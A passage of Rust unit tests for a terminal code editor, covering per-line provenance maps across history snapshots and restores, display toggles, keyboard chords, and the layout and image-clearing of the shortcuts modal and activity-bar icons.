    let tmp = tempfile::tempdir().unwrap();
    let hist = tempfile::tempdir().unwrap();
    let f = tmp.path().join("note.txt");
    let mut bytes = vec![0xFF, 0xFE];
    for unit in "one
two
"
    .encode_utf16()
    {
        bytes.extend_from_slice(&unit.to_le_bytes());
    }
    std::fs::write(&f, &bytes).unwrap();
    let mut seats = crate::provenance::Provenance::new();
    seats.record(0..1, Seat::Navigator);
    crate::history::record_with_seats_in(hist.path(), &f, &bytes, 1_000, &seats).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.history_root = hist.path().to_path_buf();
    app.editor.open(&f).unwrap();
    assert_eq!(
        app.editor.lines,
        vec![String::from("one"), String::from("two")],
        "staging: the file opened as UTF-16 text"
    );
    app.sync_provenance();
    assert_eq!(
        app.editor.provenance, seats,
        "the UTF-16 file's map comes back: {:?}",
        app.editor.provenance
    );
}

/// The recorded map is bound to the bytes it describes (#349 review): the
/// worker re-reads the file, so a save of the same path landing in between
/// must not get the earlier buffer's map attached to its bytes. The snapshot
/// is still recorded; only the attribution is withheld.
#[test]
fn the_map_is_not_recorded_against_another_save_s_bytes() {
    use crate::provenance::Seat;
    let tmp = tempfile::tempdir().unwrap();
    let hist = tempfile::tempdir().unwrap();
    let f = tmp.path().join("note.txt");
    std::fs::write(&f, "one\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.history_root = hist.path().to_path_buf();
    app.editor.open(&f).unwrap();
    app.focus_pane(Pane::Editor);
    let mut seats = crate::provenance::Provenance::new();
    seats.record(0..1, Seat::Navigator);
    // The map describes "one", but something else reaches the disk first:
    // exactly the race the worker's re-read opens.
    std::fs::write(&f, "someone else\n").unwrap();
    app.record_history_snapshot_of(&f, seats, Some(b"one\n".to_vec()));
    let snaps = wait_for_snapshots(&app.history_root, &f);
    assert_eq!(snaps.len(), 1, "the snapshot is still recorded");
    assert_eq!(
        std::fs::read(&snaps[0].file).unwrap(),
        b"someone else\n",
        "and holds the bytes that were actually on disk"
    );
    assert_eq!(
        crate::history::seats_for(&app.history_root, &f, snaps[0].millis),
        None,
        "but wears no map, rather than one describing text it does not hold"
    );
    // Positive control: the same call with matching bytes DOES record a map,
    // so the assertion above is about the binding and not about the plumbing.
    let mut seats2 = crate::provenance::Provenance::new();
    seats2.record(0..1, Seat::Peer(String::from("ana")));
    let on_disk = std::fs::read(&f).unwrap();
    app.record_history_snapshot_of(&f, seats2, Some(on_disk));
    crate::test_budget::await_spawned(
        std::time::Duration::from_millis(500),
        "the control's sidecar",
        || {
            crate::history::entries_in(&app.history_root, &f)
                .first()
                .is_some_and(|s| {
                    crate::history::seats_for(&app.history_root, &f, s.millis).is_some()
                })
        },
    );
}

/// A restore of a snapshot with no sidecar restores every line unknown
/// (#349 review): the buffer's previous map described the text the restore
/// replaced, and keeping it would credit lines nobody observed.
#[test]
fn restoring_a_snapshot_without_seats_leaves_every_line_unknown() {
    use crate::provenance::Seat;
    let tmp = tempfile::tempdir().unwrap();
    let hist = tempfile::tempdir().unwrap();
    let f = tmp.path().join("note.txt");
    let (v1, v2) = (b"one\n".as_slice(), b"one\ntwo\n".as_slice());
    let mut seats_v2 = crate::provenance::Provenance::new();
    seats_v2.record(1..2, Seat::Navigator);
    crate::history::record_in(hist.path(), &f, v1, 1_000).unwrap();
    let recent = now_millis() - 100;
    crate::history::record_with_seats_in(hist.path(), &f, v2, recent, &seats_v2).unwrap();
    std::fs::write(&f, v2).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.history_root = hist.path().to_path_buf();
    app.editor.open(&f).unwrap();
    app.focus_pane(Pane::Editor);
    app.sync_provenance();
    assert_eq!(app.editor.provenance, seats_v2, "staging: v2's map is live");
    app.open_timeline_diff(f.clone(), String::from("local:1000"));
    app.editor.open(&f).unwrap();
    app.restore_history_snapshot();
    assert_eq!(
        std::fs::read(&f).unwrap(),
        v1,
        "staging: v1 is back on disk"
    );
    assert_eq!(
        app.editor.provenance.attributed(),
        0,
        "a snapshot that recorded no seats restores every line unknown: {:?}",
        app.editor.provenance
    );
}

/// A tab that is not eligible yet is not the same as one considered (#349
/// review): a sync that lands on a dirty buffer leaves it for a later tick
/// rather than burning the map for the session.
#[test]
fn a_dirty_tab_is_reconsidered_for_provenance_once_it_is_clean() {
    use crate::provenance::Seat;
    let tmp = tempfile::tempdir().unwrap();
    let hist = tempfile::tempdir().unwrap();
    let f = tmp.path().join("note.txt");
    std::fs::write(&f, "one\n").unwrap();
    let mut seats = crate::provenance::Provenance::new();
    seats.record(0..1, Seat::Peer(String::from("ana")));
    crate::history::record_with_seats_in(
        hist.path(),
        &f,
        &std::fs::read(&f).unwrap(),
        1_000,
        &seats,
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.history_root = hist.path().to_path_buf();
    app.editor.open(&f).unwrap();
    app.editor.dirty = true;
    app.sync_provenance();
    assert_eq!(
        app.editor.provenance.attributed(),
        0,
        "staging: a dirty buffer takes no map"
    );
    app.editor.dirty = false;
    app.sync_provenance();
    assert_eq!(
        app.editor.provenance, seats,
        "the same buffer, clean, gets the map on the next tick"
    );
}

/// Restoring a snapshot carries that snapshot's seats (#349 review): onto the
/// reverted buffer, and onto the snapshot the restore records, which inside
/// the merge window supersedes the newest one and takes its sidecar with it.
/// Before this the restore recorded the just-cleared (empty) map, so a
/// persisted map was destroyed by the very command that reinstated its text.
#[test]
fn restoring_a_snapshot_carries_its_seats_onto_the_restore() {
    use crate::provenance::Seat;
    let tmp = tempfile::tempdir().unwrap();
    let hist = tempfile::tempdir().unwrap();
    let f = tmp.path().join("note.txt");
    let (v1, v2) = (b"one\ntwo\n".as_slice(), b"one\ntwo\nthree\n".as_slice());
    let mut seats_v1 = crate::provenance::Provenance::new();
    seats_v1.record(0..1, Seat::Navigator);
    let mut seats_v2 = crate::provenance::Provenance::new();
    seats_v2.record(2..3, Seat::Agent(String::from("pane 2")));
    // v2 is the newest snapshot and recent enough that the restore lands
    // inside the merge window, which must not supersede it.
    let recent = now_millis() - 100;
    crate::history::record_with_seats_in(hist.path(), &f, v1, 1_000, &seats_v1).unwrap();
    crate::history::record_with_seats_in(hist.path(), &f, v2, recent, &seats_v2).unwrap();
    std::fs::write(&f, v2).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.history_root = hist.path().to_path_buf();
    app.editor.open(&f).unwrap();
    app.focus_pane(Pane::Editor);
    app.sync_provenance();
    assert_eq!(app.editor.provenance, seats_v2, "staging: v2's map is live");

    // Arm the restore from the timeline, then make the file the active tab
    // again (the diff view closed) and restore through the real command.
    app.open_timeline_diff(f.clone(), String::from("local:1000"));
    assert!(
        app.history_restore.is_some(),
        "staging: the restore is armed"
    );
    app.editor.open(&f).unwrap();
    app.restore_history_snapshot();
    assert_eq!(
        std::fs::read(&f).unwrap(),
        v1,
        "staging: v1 is back on disk"
    );
    assert_eq!(
        app.editor.provenance, seats_v1,
        "the reverted buffer wears the restored snapshot's seats"
    );

    // The record runs off-thread: wait for the superseding snapshot.
    crate::test_budget::await_spawned(
        std::time::Duration::from_millis(500),
        "the restore's snapshot",
        || {
            crate::history::entries_in(hist.path(), &f)
                .first()
                .is_some_and(|newest| newest.millis > recent)
        },
    );
    let snaps = crate::history::entries_in(hist.path(), &f);
    // v2 is kept, not superseded: the restore overwrote it, and replacing
    // its snapshot inside the merge window lost that version for good.
    assert_eq!(
        snaps.len(),
        3,
        "v1 restored, v2 kept, v1 original: {snaps:?}"
    );
    assert_eq!(std::fs::read(&snaps[0].file).unwrap(), v1);
    assert_eq!(std::fs::read(&snaps[1].file).unwrap(), v2);
    wait_for_seats(hist.path(), &f, snaps[0].millis);
    assert_eq!(
        crate::history::seats_for(hist.path(), &f, snaps[0].millis),
        Some(seats_v1.clone()),
        "and the newest snapshot carries v1's seats, not an empty map"
    );
    // A fresh open of the restored file gets them back the ordinary way.
    let mut again = App::new(tmp.path().to_path_buf()).unwrap();
    again.history_root = hist.path().to_path_buf();
    again.editor.open(&f).unwrap();
    again.sync_provenance();
    assert_eq!(again.editor.provenance, seats_v1);
}

/// A persisted map is restored only onto the text it described: a file
/// changed since the snapshot (by anything, croft or not) opens with every
/// line unknown rather than credited from a stale map.
#[test]
fn provenance_is_not_restored_onto_text_the_snapshot_never_saw() {
    use crate::provenance::Seat;
    let tmp = tempfile::tempdir().unwrap();
    let hist = tempfile::tempdir().unwrap();
    let f = tmp.path().join("note.txt");
    std::fs::write(&f, "v1\n").unwrap();
    {
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.history_root = hist.path().to_path_buf();
        app.editor.open(&f).unwrap();
        app.focus_pane(Pane::Editor);
        app.editor.cursor_row = 0;
        app.editor.cursor_col = 0;
        app.editor.insert_str_as("nav\n", Seat::Navigator);
        app.save();
        let snaps = wait_for_snapshots(&app.history_root, &f);
        assert_eq!(snaps.len(), 1, "staging: the save recorded a snapshot");
        // Positive control: there IS a map that a careless restore would apply.
        wait_for_seats(&app.history_root, &f, snaps[0].millis);
    }
    // Edited outside croft after the save: the snapshot's map describes text
    // that is no longer what is on disk.
    let mut on_disk = std::fs::read_to_string(&f).unwrap();
    on_disk.insert_str(0, "someone else\n");
    std::fs::write(&f, on_disk).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.history_root = hist.path().to_path_buf();
    app.editor.open(&f).unwrap();
    app.sync_provenance();
    assert_eq!(
        app.editor.provenance.attributed(),
        0,
        "a changed file is not credited from a stale map: {:?}",
        app.editor.provenance
    );
}

/// The lens reaches every tab of every group, not only the focused editor
/// (#349 review): the gutter bar paints in every pane, so `sync_focus_flags`
/// carries it the way it carries indent guides.
#[test]
fn the_provenance_lens_reaches_every_editor_after_the_flag_sync() {
    let mut app = editor_app_with_lines(&["one", "two"]);
    app.editor
        .push_editor(crate::widgets::editor::Editor::new());
    assert!(app.editor.editors.len() >= 2, "fixture: two tabs");
    // A split puts the first group out of focus; the lens must reach it too.
    app.editor.path = Some(std::path::PathBuf::from("split-anchor.txt"));
    app.split_editor();
    app.run_command(crate::widgets::command_palette::Command::ToggleProvenance);
    app.sync_focus_flags();
    let every_editor_on = app.editor.editors.iter().all(|e| e.provenance_overlay)
        && app
            .editor_layout
            .inactive_groups()
            .iter()
            .flat_map(|g| g.editors.iter())
            .all(|e| e.provenance_overlay);
    assert!(
        every_editor_on,
        "every tab in every group carries the lens after the sync"
    );
    app.run_command(crate::widgets::command_palette::Command::ToggleProvenance);
    app.sync_focus_flags();
    assert!(
        app.editor.editors.iter().all(|e| !e.provenance_overlay),
        "and every tab drops it"
    );
}

#[test]
fn toggle_inline_blame_command_flips_the_editor_flag_and_pref() {
    let mut app = editor_app_with_lines(&["one", "two"]);
    assert!(
        app.inline_blame_enabled,
        "inline blame is on by default (GitLens parity)"
    );
    app.run_command(crate::widgets::command_palette::Command::ToggleInlineBlame);
    assert!(!app.inline_blame_enabled, "the command turns it off");
    // sync_blame propagates the pref onto the active editor each tick.
    app.sync_blame();
    assert!(!app.editor.blame_enabled);
    app.run_command(crate::widgets::command_palette::Command::ToggleInlineBlame);
    assert!(app.inline_blame_enabled, "toggling again turns it back on");
    app.sync_blame();
    assert!(app.editor.blame_enabled);
}

#[test]
fn toggle_indent_guides_command_flips_every_editor_via_the_frame_sync() {
    let mut app = editor_app_with_lines(&["fn a() {", "    x();", "}"]);
    assert!(
        app.indent_guides_enabled,
        "indent guides are on by default (VS Code editor.guides.indentation)"
    );
    app.run_command(crate::widgets::command_palette::Command::ToggleIndentGuides);
    assert!(!app.indent_guides_enabled, "the command turns them off");
    // The per-frame focus sync pushes the flag onto every editor in every
    // group, so tabs opened after the toggle can never resurrect guides.
    app.sync_focus_flags();
    assert!(app.editor.editors.iter().all(|e| !e.show_indent_guides));
    // A tab opened AFTER the toggle starts on the constructor default (true)
    // and must be brought in line by the next frame's sync.
    app.editor
        .open_text_buffer(std::path::Path::new("later.rs"), "fn x() {\n    y();\n}")
        .unwrap();
    assert!(
        app.editor.show_indent_guides,
        "a fresh tab starts on the default, proving the sync below does the work"
    );
    app.sync_focus_flags();
    assert!(
        app.editor.editors.iter().all(|e| !e.show_indent_guides),
        "the frame sync disables guides on the tab opened after the toggle"
    );
    app.run_command(crate::widgets::command_palette::Command::ToggleIndentGuides);
    assert!(app.indent_guides_enabled);
    app.editor
        .open_text_buffer(std::path::Path::new("even-later.rs"), "fn z() {}")
        .unwrap();
    app.sync_focus_flags();
    assert!(
        app.editor.editors.iter().all(|e| e.show_indent_guides),
        "re-enabling reaches tabs opened before and after the toggle"
    );
}

#[test]
fn toggle_bracket_colors_command_flips_every_editor_via_the_frame_sync() {
    let mut app = editor_app_with_lines(&["fn a(x: u8) {}"]);
    assert!(
        app.bracket_colors_enabled,
        "bracket colorization is on by default (VS Code default since 1.67)"
    );
    app.run_command(crate::widgets::command_palette::Command::ToggleBracketColors);
    assert!(!app.bracket_colors_enabled, "the command turns it off");
    app.editor
        .open_text_buffer(std::path::Path::new("later.rs"), "g(1)")
        .unwrap();
    app.sync_focus_flags();
    assert!(
        app.editor.editors.iter().all(|e| !e.show_bracket_colors),
        "the frame sync disables the tab opened after the toggle too"
    );
    app.run_command(crate::widgets::command_palette::Command::ToggleBracketColors);
    app.sync_focus_flags();
    assert!(app.editor.editors.iter().all(|e| e.show_bracket_colors));
}

#[test]
fn toggle_render_whitespace_cycles_modes_across_every_editor() {
    use crate::widgets::editor::WhitespaceMode;
    let mut app = editor_app_with_lines(&["a b"]);
    let all_editors_in = |app: &App, mode: WhitespaceMode| {
        app.editor.editors.iter().all(|e| e.whitespace_mode == mode)
    };
    assert_eq!(
        app.whitespace_mode,
        WhitespaceMode::Selection,
        "selection is the default (VS Code editor.renderWhitespace)"
    );
    app.sync_focus_flags();
    assert!(all_editors_in(&app, WhitespaceMode::Selection));
    app.run_command(crate::widgets::command_palette::Command::ToggleRenderWhitespace);
    assert_eq!(app.whitespace_mode, WhitespaceMode::All);
    app.editor
        .open_text_buffer(std::path::Path::new("later.txt"), "c d")
        .unwrap();
    app.sync_focus_flags();
    assert!(
        all_editors_in(&app, WhitespaceMode::All),
        "the frame sync carries the mode to tabs opened after the toggle"
    );
    app.run_command(crate::widgets::command_palette::Command::ToggleRenderWhitespace);
    assert_eq!(app.whitespace_mode, WhitespaceMode::None);
    app.sync_focus_flags();
    assert!(all_editors_in(&app, WhitespaceMode::None));
    app.run_command(crate::widgets::command_palette::Command::ToggleRenderWhitespace);
    assert_eq!(app.whitespace_mode, WhitespaceMode::Selection, "full cycle");
    app.sync_focus_flags();
    assert!(all_editors_in(&app, WhitespaceMode::Selection));
}

#[test]
fn toggle_inline_values_clears_trailers_on_disable() {
    let mut app = editor_app_with_lines(&["def f():", "    x = 1"]);
    assert!(
        app.inline_values_enabled,
        "inline values are on by default (VS Code debug.inlineValues: auto)"
    );
    // Simulate a stop having populated trailers, then disable: every editor
    // must drop them immediately, not on the next stop.
    app.editor.inline_values.insert(1, String::from("x = 1"));
    app.run_command(crate::widgets::command_palette::Command::ToggleInlineValues);
    assert!(!app.inline_values_enabled);
    assert!(
        app.editor
            .editors
            .iter()
            .all(|e| e.inline_values.is_empty()),
        "disabling clears the trailers in every editor"
    );
    app.run_command(crate::widgets::command_palette::Command::ToggleInlineValues);
    assert!(app.inline_values_enabled, "round trip");
}

#[test]
fn editor_cmd_gg_jumps_to_top_of_file() {
    let mut app = editor_app_with_lines(&["a", "b", "c", "d"]);
    app.editor.cursor_row = 3;
    app.handle_key(key(KeyCode::Char('g'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(KeyCode::Char('g'), KeyModifiers::SUPER))
        .unwrap();
    assert_eq!((app.editor.cursor_row, app.editor.cursor_col), (0, 0));
}

#[test]
fn editor_cmd_g_then_plain_g_also_jumps_to_top() {
    let mut app = editor_app_with_lines(&["a", "b", "c", "d"]);
    app.editor.cursor_row = 3;
    app.handle_key(key(KeyCode::Char('g'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(KeyCode::Char('g'), KeyModifiers::NONE))
        .unwrap();
    assert_eq!((app.editor.cursor_row, app.editor.cursor_col), (0, 0));
}

#[test]
fn editor_cmd_g_count_g_jumps_to_specific_line() {
    let mut app = editor_app_with_lines(&["a", "b", "c", "d", "e"]);
    app.handle_key(key(KeyCode::Char('g'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(KeyCode::Char('3'), KeyModifiers::NONE))
        .unwrap();
    app.handle_key(key(KeyCode::Char('g'), KeyModifiers::NONE))
        .unwrap();
    assert_eq!((app.editor.cursor_row, app.editor.cursor_col), (2, 0));
}

#[test]
fn editor_cmd_g_multidigit_count_g_jumps_to_specific_line() {
    let mut app = editor_app_with_lines(&(0..30).map(|_| "x").collect::<Vec<_>>());
    app.handle_key(key(KeyCode::Char('g'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(KeyCode::Char('1'), KeyModifiers::NONE))
        .unwrap();
    app.handle_key(key(KeyCode::Char('2'), KeyModifiers::NONE))
        .unwrap();
    app.handle_key(key(KeyCode::Char('g'), KeyModifiers::NONE))
        .unwrap();
    assert_eq!(app.editor.cursor_row, 11);
}

#[test]
fn editor_cmd_shift_g_jumps_to_bottom_of_file() {
    let mut app = editor_app_with_lines(&["a", "b", "c", "d"]);
    app.handle_key(key(
        KeyCode::Char('G'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT,
    ))
    .unwrap();
    assert_eq!(app.editor.cursor_row, 3);
    assert_ne!(
        app.sidebar_view,
        SidebarView::SourceControl,
        "cmd+shift+g in editor pane must NOT hijack to source control"
    );
}

#[test]
fn editor_cmd_d_now_selects_the_word_instead_of_deleting() {
    // Cmd+D moved from the old `Cmd+d d` delete-line convenience to VS Code's
    // "Add Selection to Next Find Match"; delete-line now lives on Cmd+Shift+K.
    let mut app = editor_app_with_lines(&["alpha", "beta", "gamma"]);
    app.editor.cursor_row = 1;
    app.handle_key(key(KeyCode::Char('d'), KeyModifiers::SUPER))
        .unwrap();
    assert_eq!(
        app.editor.lines,
        vec!["alpha", "beta", "gamma"],
        "Cmd+D no longer deletes the line"
    );
    assert!(
        app.editor.selection.is_some(),
        "Cmd+D selects the word under the cursor"
    );
}

#[test]
fn editor_cmd_yy_does_not_modify_buffer() {
    let mut app = editor_app_with_lines(&["alpha", "beta", "gamma"]);
    app.editor.cursor_row = 1;
    app.handle_key(key(KeyCode::Char('y'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(KeyCode::Char('y'), KeyModifiers::SUPER))
        .unwrap();
    assert_eq!(app.editor.lines, vec!["alpha", "beta", "gamma"]);
    assert!(app.status.starts_with("Yanked"));
}

#[test]
fn editor_chord_cancels_on_unrelated_key() {
    let mut app = editor_app_with_lines(&["alpha"]);
    app.editor.cursor_col = 5;
    app.handle_key(key(KeyCode::Char('d'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(KeyCode::Char('x'), KeyModifiers::NONE))
        .unwrap();
    assert_eq!(app.editor.lines, vec!["alphax"]);
}

#[test]
fn editor_ctrl_a_jumps_to_start_of_line() {
    let mut app = editor_app_with_lines(&["hello world"]);
    app.editor.cursor_col = 7;
    app.handle_key(key(KeyCode::Char('a'), KeyModifiers::CONTROL))
        .unwrap();
    assert_eq!(app.editor.cursor_col, 0);
}

#[test]
fn editor_ctrl_e_jumps_to_end_of_line() {
    let mut app = editor_app_with_lines(&["hello world"]);
    app.editor.cursor_col = 3;
    app.handle_key(key(KeyCode::Char('e'), KeyModifiers::CONTROL))
        .unwrap();
    assert_eq!(app.editor.cursor_col, 11);
}

#[test]
fn editor_ctrl_k_kills_to_end_of_line() {
    let mut app = editor_app_with_lines(&["hello world", "next"]);
    app.editor.cursor_col = 5;
    app.handle_key(key(KeyCode::Char('k'), KeyModifiers::CONTROL))
        .unwrap();
    assert_eq!(app.editor.lines, vec!["hello", "next"]);
}

#[test]
fn editor_cmd_count_gg_jumps_to_line_with_leading_count() {
    let mut app = editor_app_with_lines(&["a", "b", "c", "d", "e"]);
    app.handle_key(key(KeyCode::Char('3'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(KeyCode::Char('g'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(KeyCode::Char('g'), KeyModifiers::SUPER))
        .unwrap();
    assert_eq!(app.editor.cursor_row, 2);
}

#[test]
fn editor_cmd_count_yy_yanks_n_lines_with_leading_count() {
    let mut app = editor_app_with_lines(&["a", "b", "c", "d"]);
    app.editor.cursor_row = 0;
    app.handle_key(key(KeyCode::Char('2'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(KeyCode::Char('y'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(KeyCode::Char('y'), KeyModifiers::SUPER))
        .unwrap();
    assert_eq!(app.editor.lines, vec!["a", "b", "c", "d"]);
    assert!(app.status.contains("Yanked 2"));
}

#[test]
fn editor_cmd_count_then_shift_g_jumps_to_specific_line() {
    let mut app = editor_app_with_lines(&["a", "b", "c", "d", "e"]);
    app.handle_key(key(KeyCode::Char('4'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(
        KeyCode::Char('G'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT,
    ))
    .unwrap();
    assert_eq!(app.editor.cursor_row, 3);
}

#[test]
fn editor_ctrl_u_kills_to_start_of_line() {
    let mut app = editor_app_with_lines(&["hello world"]);
    app.editor.cursor_col = 6;
    app.handle_key(key(KeyCode::Char('u'), KeyModifiers::CONTROL))
        .unwrap();
    assert_eq!(app.editor.lines, vec!["world"]);
    assert_eq!(app.editor.cursor_col, 0);
}

#[test]
fn editor_cmd_o_opens_line_below_with_indent() {
    let mut app = editor_app_with_lines(&["    foo", "bar"]);
    app.editor.cursor_row = 0;
    app.editor.cursor_col = 4;
    app.handle_key(key(KeyCode::Char('o'), KeyModifiers::SUPER))
        .unwrap();
    assert_eq!(app.editor.lines, vec!["    foo", "    ", "bar"]);
    assert_eq!((app.editor.cursor_row, app.editor.cursor_col), (1, 4));
}

#[test]
fn editor_cmd_shift_enter_opens_line_above_with_indent() {
    // Open-line-above moved off Cmd+Shift+O (now Go to Symbol) onto its real
    // VS Code chord, Cmd+Shift+Enter.
    let mut app = editor_app_with_lines(&["foo", "    bar"]);
    app.editor.cursor_row = 1;
    app.editor.cursor_col = 6;
    app.handle_key(key(
        KeyCode::Enter,
        KeyModifiers::SUPER | KeyModifiers::SHIFT,
    ))
    .unwrap();
    assert_eq!(app.editor.lines, vec!["foo", "    ", "    bar"]);
    assert_eq!((app.editor.cursor_row, app.editor.cursor_col), (1, 4));
}

#[test]
fn editor_cmd_shift_o_opens_go_to_symbol() {
    let mut app = editor_app_with_lines(&["fn foo() {}", "fn bar() {}"]);
    app.editor.path = Some(std::path::PathBuf::from("lib.rs"));
    app.focus_pane(Pane::Editor);
    app.handle_key(key(
        KeyCode::Char('O'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT,
    ))
    .unwrap();
    assert!(
        app.go_to_symbol.is_some(),
        "Cmd+Shift+O must open the Go to Symbol picker"
    );
}

#[test]
fn f1_opens_the_shortcuts_modal_from_any_focus() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Editor);
    app.handle_key(key(KeyCode::F(1), KeyModifiers::NONE))
        .unwrap();
    assert!(
        app.shortcuts_modal.is_some(),
        "F1 must open the shortcuts panel"
    );
}

#[test]
fn esc_closes_the_shortcuts_modal_and_restores_normal_input() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.handle_key(key(KeyCode::F(1), KeyModifiers::NONE))
        .unwrap();
    app.handle_key(key(KeyCode::Esc, KeyModifiers::NONE))
        .unwrap();
    assert!(
        app.shortcuts_modal.is_none(),
        "Esc must dismiss the shortcuts panel"
    );
}

#[test]
fn shortcuts_modal_swallows_keys_so_editor_does_not_receive_them() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Editor);
    app.editor.lines = vec![String::from("hello")];
    app.editor.cursor_col = 5;
    app.handle_key(key(KeyCode::F(1), KeyModifiers::NONE))
        .unwrap();
    app.handle_key(key(KeyCode::Char('x'), KeyModifiers::NONE))
        .unwrap();
    assert_eq!(
        app.editor.lines,
        vec!["hello"],
        "while the shortcuts modal is open, typed letters must not leak into the editor buffer"
    );
}

#[test]
fn opening_the_shortcuts_modal_arms_one_image_clear_so_iterm_evicts_cached_osc_1337_cells() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.handle_key(key(KeyCode::F(1), KeyModifiers::NONE))
        .unwrap();
    assert!(
        app.consume_shortcuts_image_clear(),
        "F1 must arm terminal.clear() so iTerm2's image cache (activity bar icons, welcome wordmark, editor preview) is wiped before the modal paints, otherwise those cached image cells bleed through the modal text"
    );
    assert!(
        !app.consume_shortcuts_image_clear(),
        "the flag is one-shot — a second consume call must return false so the driver does not re-clear every frame"
    );
}

#[test]
fn closing_the_shortcuts_modal_arms_image_clear_and_re_dirties_overlays() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.handle_key(key(KeyCode::F(1), KeyModifiers::NONE))
        .unwrap();
    let _ = app.consume_shortcuts_image_clear();
    app.handle_key(key(KeyCode::Esc, KeyModifiers::NONE))
        .unwrap();
    assert!(
        app.consume_shortcuts_image_clear(),
        "Esc must also arm terminal.clear() so the modal's text cells get wiped and the activity bar / welcome wordmark / hero icons can be re-emitted cleanly"
    );
    assert!(app.overlays.activity.dirty());
    assert!(app.overlays.welcome.is_dirty());
    assert!(app.overlays.hero.is_dirty());
}

#[test]
fn ssh_empty_state_overlay_arms_image_clear_when_user_switches_off_remote_view() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // Simulate the post-emit state without actually writing OSC bytes.
    app.overlays.ssh.set_displayed(true);
    app.set_sidebar_view(SidebarView::Explorer);
    app.flush_ssh_empty_state_overlay();
    assert!(
        app.consume_ssh_empty_state_image_clear(),
        "leaving the Remote view after the illustration was painted must arm one terminal.clear() so iTerm2 evicts the cached image cells — otherwise the server-rack PNG ghosts onto the Explorer tree the user just clicked to"
    );
    assert!(!app.overlays.ssh.is_displayed());
}

#[test]
fn ssh_empty_state_overlay_arms_image_clear_when_modal_opens_on_top() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.set_sidebar_view(SidebarView::Remote);
    app.overlays.ssh.set_displayed(true);
    app.handle_key(key(KeyCode::F(1), KeyModifiers::NONE))
        .unwrap();
    app.flush_ssh_empty_state_overlay();
    assert!(
        app.consume_ssh_empty_state_image_clear(),
        "F1 opening the shortcuts modal over the SSH empty state must arm an image-clear so the illustration doesn't bleed through the modal text"
    );
}

#[test]
fn activity_icons_stay_visible_beside_the_centered_shortcuts_modal() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.overlays.activity.set_images(dummy_activity_images());
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let before = app.pending_activity_image_overlays().len();
    assert_eq!(
        before, 12,
        "precondition: eight view icons + the settings gear + the three layout toolbar icons emit"
    );
    app.handle_key(key(KeyCode::F(1), KeyModifiers::NONE))
        .unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let during = app.pending_activity_image_overlays().len();
    assert_eq!(
        during, before,
        "the shortcuts modal is centered over the editor column, so the far-left activity-bar icons it does not cover must keep re-emitting — otherwise the terminal.clear() armed by F1 wipes iTerm2's cached cells and the icons vanish for the whole time the modal is up; saw {before} icons before opening"
    );
}

#[test]
fn activity_icons_behind_a_modal_that_reaches_the_left_edge_are_suppressed() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.overlays.activity.set_images(dummy_activity_images());
    let backend = ratatui::backend::TestBackend::new(40, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let before = app.pending_activity_image_overlays().len();
    app.handle_key(key(KeyCode::F(1), KeyModifiers::NONE))
        .unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let during = app.pending_activity_image_overlays().len();
    assert!(
        during < before || before == 0,
        "on a terminal narrow enough that the centered modal reaches column 0, icons whose blocks intersect the modal must be suppressed so they don't ghost over the modal text; saw {before} icons before, {during} during"
    );
}

#[test]
fn settings_gear_is_bottom_anchored_below_the_view_icons() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.overlays.activity.set_images(dummy_activity_images());
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let gear = app.sidebar_areas.settings_icon;
    let run_debug = app.sidebar_areas.run_debug_icon;
    assert!(gear.width > 0, "gear must lay out on a tall bar");
    assert!(
        gear.y > run_debug.y,
        "the gear is anchored at the bottom, below the Run-and-Debug view icon"
    );
    assert_eq!(
        app.pending_activity_image_overlays().len(),
        12,
        "eight view icons + the settings gear + the three layout toolbar icons emit"
    );
}

#[test]
fn settings_gear_bottom_inset_matches_the_view_icon_top_inset() {
    // The view icons start one cell below the bar's top edge
    // (`activity_explorer_y` = `bar.y + 1`). The gear must leave the same
